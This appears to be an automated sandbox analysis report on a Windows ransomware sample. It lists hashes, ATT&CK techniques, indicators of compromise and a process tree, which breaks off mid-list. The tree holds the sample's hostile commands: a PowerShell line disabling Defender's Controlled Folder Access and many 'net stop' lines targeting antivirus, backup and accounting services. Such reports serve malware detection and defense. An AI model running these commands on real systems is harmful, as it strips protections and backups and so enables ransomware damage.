cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
18s
max time network
19s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
17-08-2024 21:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

10^/10

defense_evasion discovery evasion execution impact ransomware

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (68) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4984	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4620	sc.exe
3364	sc.exe
4696	sc.exe
772	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fsutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1012	cmd.exe
1936	PING.EXE

Interacts with shadow copies 3 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4296	vssadmin.exe
2260	vssadmin.exe
4252	vssadmin.exe
2772	vssadmin.exe
4640	vssadmin.exe
1576	vssadmin.exe
1880	vssadmin.exe
3328	vssadmin.exe
4116	vssadmin.exe
984	vssadmin.exe
1636	vssadmin.exe
2884	vssadmin.exe
4544	vssadmin.exe
4356	vssadmin.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
420	taskkill.exe
4580	taskkill.exe
4044	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
5500	notepad.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1936	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	4984	powershell.exe
Token: SeDebugPrivilege	4580	taskkill.exe
Token: SeDebugPrivilege	4044	taskkill.exe
Token: SeDebugPrivilege	420	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 4984	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	75
PID 2516 wrote to memory of 4984	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	75
PID 2516 wrote to memory of 4984	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	75
PID 2516 wrote to memory of 1928	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	76
PID 2516 wrote to memory of 1928	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	76
PID 2516 wrote to memory of 1928	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	76
PID 2516 wrote to memory of 2928	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	78
PID 2516 wrote to memory of 2928	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	78
PID 2516 wrote to memory of 2928	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	78
PID 2516 wrote to memory of 1328	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	79
PID 2516 wrote to memory of 1328	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	79
PID 2516 wrote to memory of 1328	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	79
PID 2516 wrote to memory of 3048	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	80
PID 2516 wrote to memory of 3048	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	80
PID 2516 wrote to memory of 3048	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	80
PID 2516 wrote to memory of 2236	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	81
PID 2516 wrote to memory of 2236	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	81
PID 2516 wrote to memory of 2236	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	81
PID 2516 wrote to memory of 5016	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	82
PID 2516 wrote to memory of 5016	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	82
PID 2516 wrote to memory of 5016	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	82
PID 2516 wrote to memory of 2780	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	83
PID 2516 wrote to memory of 2780	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	83
PID 2516 wrote to memory of 2780	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	83
PID 2516 wrote to memory of 3076	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	84
PID 2516 wrote to memory of 3076	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	84
PID 2516 wrote to memory of 3076	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	84
PID 2516 wrote to memory of 488	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	85
PID 2516 wrote to memory of 488	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	85
PID 2516 wrote to memory of 488	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	85
PID 2516 wrote to memory of 1784	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	86
PID 2516 wrote to memory of 1784	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	86
PID 2516 wrote to memory of 1784	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	86
PID 2516 wrote to memory of 5080	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	87
PID 2516 wrote to memory of 5080	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	87
PID 2516 wrote to memory of 5080	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	87
PID 2516 wrote to memory of 3640	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	88
PID 2516 wrote to memory of 3640	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	88
PID 2516 wrote to memory of 3640	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	88
PID 2516 wrote to memory of 4236	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	90
PID 2516 wrote to memory of 4236	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	90
PID 2516 wrote to memory of 4236	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	90
PID 2516 wrote to memory of 500	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	91
PID 2516 wrote to memory of 500	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	91
PID 2516 wrote to memory of 500	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	91
PID 2516 wrote to memory of 3376	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	92
PID 2516 wrote to memory of 3376	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	92
PID 2516 wrote to memory of 3376	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	92
PID 2516 wrote to memory of 4804	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	93
PID 2516 wrote to memory of 4804	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	93
PID 2516 wrote to memory of 4804	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	93
PID 2516 wrote to memory of 2420	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	96
PID 2516 wrote to memory of 2420	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	96
PID 2516 wrote to memory of 2420	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	96
PID 2516 wrote to memory of 1100	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	97
PID 2516 wrote to memory of 1100	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	97
PID 2516 wrote to memory of 1100	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	97
PID 2516 wrote to memory of 4748	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	98
PID 2516 wrote to memory of 4748	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	98
PID 2516 wrote to memory of 4748	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	98
PID 2516 wrote to memory of 212	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	99
PID 2516 wrote to memory of 212	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	99
PID 2516 wrote to memory of 212	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	99
PID 2516 wrote to memory of 4168	2516	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	100

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Drops startup file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2516
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4984
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:1928
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5284
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:2928
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:5248
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:1328
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5620
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:3048
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5748
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:2236
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5948
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5016
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5456
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2780
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5816
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:3076
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:5652
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:488
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:5796
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:1784
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5932
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:5080
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:6032
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3640
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5868
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4236
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:6124
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:500
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:5660
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3376
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:5264
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4804
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5628
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2420
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5340
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  - System Location Discovery: System Language Discovery
